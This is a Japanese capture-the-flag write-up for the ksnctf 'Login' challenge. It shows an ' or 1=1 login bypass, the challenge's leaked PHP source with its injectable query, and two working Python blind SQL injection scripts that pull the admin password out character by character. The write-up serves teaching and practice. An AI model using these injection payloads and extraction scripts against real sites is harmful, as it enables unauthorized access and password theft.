ksnctf #6 Login

#Login
[問題](https://ksnctf.sweetduet.info/problem/6)

login:ログイン

問題をみると、[url](http://ctfq.u1tramarine.blue/q6/)がある。開いてみると、IDとPassを入力するボックスがある。
とりあえず、SQLインジェクションを試してみる。
　ID:admin
　Pass:'or 1=1;
これで送信してみると、以下のphpが得られた。

```php
Congratulations!
It's too easy?
Don't worry.
The flag is admin's password.

Hint:

<?php
    function h($s){return htmlspecialchars($s,ENT_QUOTES,'UTF-8');}
    
    $id = isset($_POST['id']) ? $_POST['id'] : '';
    $pass = isset($_POST['pass']) ? $_POST['pass'] : '';
    $login = false;
    $err = '';
    
    if ($id!=='')
    {
        $db = new PDO('sqlite:database.db');
        $db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_SILENT);
        $r = $db->query("SELECT * FROM user WHERE id='$id' AND pass='$pass'");
        $login = $r && $r->fetch();
        if (!$login)
            $err = 'Login Failed';
    }
?><!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <title>q6q6q6q6q6q6q6q6q6q6q6q6q6q6q6q6</title>
  </head>
  <body>
    <?php if (!$login) { ?>
    <p>
      First, login as "admin".
    </p>
    <div style="font-weight:bold; color:red">
      <?php echo h($err); ?>
    </div>
    <form method="POST">
      <div>ID: <input type="text" name="id" value="<?php echo h($id); ?>"></div>
      <div>Pass: <input type="text" name="pass" value="<?php echo h($pass); ?>"></div>
      <div><input type="submit"></div>
    </form>
    <?php } else { ?>
    <p>
      Congratulations!<br>
      It's too easy?<br>
      Don't worry.<br>
      The flag is admin's password.<br>
      <br>
      Hint:<br>
    </p>
    <pre><?php echo h(file_get_contents('index.php')); ?></pre>
    <?php } ?>
  </body>
</html>
```
IDがadminのpassがFLAGになっているらしい。

今回の問題を解くにあたり、[ブラインドSQLインジェクション](https://www.atmarkit.co.jp/ait/articles/1402/04/news002_2.html)を用いる。
>ブラインドSQLインジェクションとは、応答ページから情報を直接盗み出すのではなく、挿入したSQLに対する応答ページの違いから、データベース管理システムに関する情報（実行ユーザーやテーブル名など）を盗み出すものです。

今回の応答ページには、ログインが成功した時は上記のphpのページが表示され、失敗したときは以下のようなページが表示される。この応答ページの違いを利用して、passを見つけていく。
![スクリーンショット 2021-03-15 15.29.54.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1182752/723f08ec-8b85-80fd-f1d1-b1027ceccfd0.png)

まず、FLAGの文字数を調べる。今までの問題からFLAGの長さは20文字くらいなので、10文字~30文字の間でFLAGの長さを調べてみる。

```python
import requests
url = 'http://ctfq.sweetduet.info:10080/~q6/'
n=0
for i in range (10,30):
    #print(i)
    sql = " \' OR (SELECT LENGTH(pass) FROM user WHERE id = \'admin\')={num}--".format(num = i)
    payload = {
        'id': 'admin ',
        'pass': sql
    }
    response = requests.post(url,data=payload)
    if len(response.text)>1000:
        print(i)
        break
```
requestsはPythonのHTTPライブラリでGETリクエスト等ができる。

```python

sql = " \' OR (SELECT LENGTH(pass) FROM user WHERE id = \'admin\')={num}--".format(num = i)
```
ここでSQL文を作る。userテーブルで、idがadminであるもののpassの長さを取得し、その長さを10〜30の間で比較している。値が等しくなった時に応答ページの文字数(response.text)が大きくなるため、この違いを利用して、response.textの文字数が1000より大きいならログインできたと判断する。

この結果FLAGの文字数は**21**であることがわかった。

次に、１文字づつ送信してFLAGを確定させていく。FLAGに使われる文字はa-z,A-Z,_,0-9であるため、[ASCIIコード](http://www3.nit.ac.jp/~tamura/ex2/ascii.html)で48〜123までの文字を順番に試していく。

```python

import requests
url = 'http://ctfq.sweetduet.info:10080/~q6/'
for i in range(1,22):
    for char_num in range(48,123):
        char = chr(char_num)
        sql = " \' OR SUBSTR((SELECT pass FROM user WHERE id = \'admin\'),{index},1)=\'{num}\' --".format(index = i,num = char)
        
        payload = {
            'id': 'admin ',
            'pass': sql
        }
        response = requests.post(url,data=payload)
        if len(response.text)>1000:
            print(char, end="")
```

```python

sql = " \' OR SUBSTR((SELECT pass FROM user WHERE id = \'admin\'),{index},1)=\'{num}\' --".format(index = i,num = char)
```
SUBSTRはSUBSTR(文字列, 開始桁, 切り取り文字数)のように使う。**passのi番目の文字から1文字切り取ったもの**(passのi番目の文字)と**48〜123をchr()で文字にしたもの**を順に比較して、等しい時(応答ページの文字数が1000より大きい)にその文字を表示する。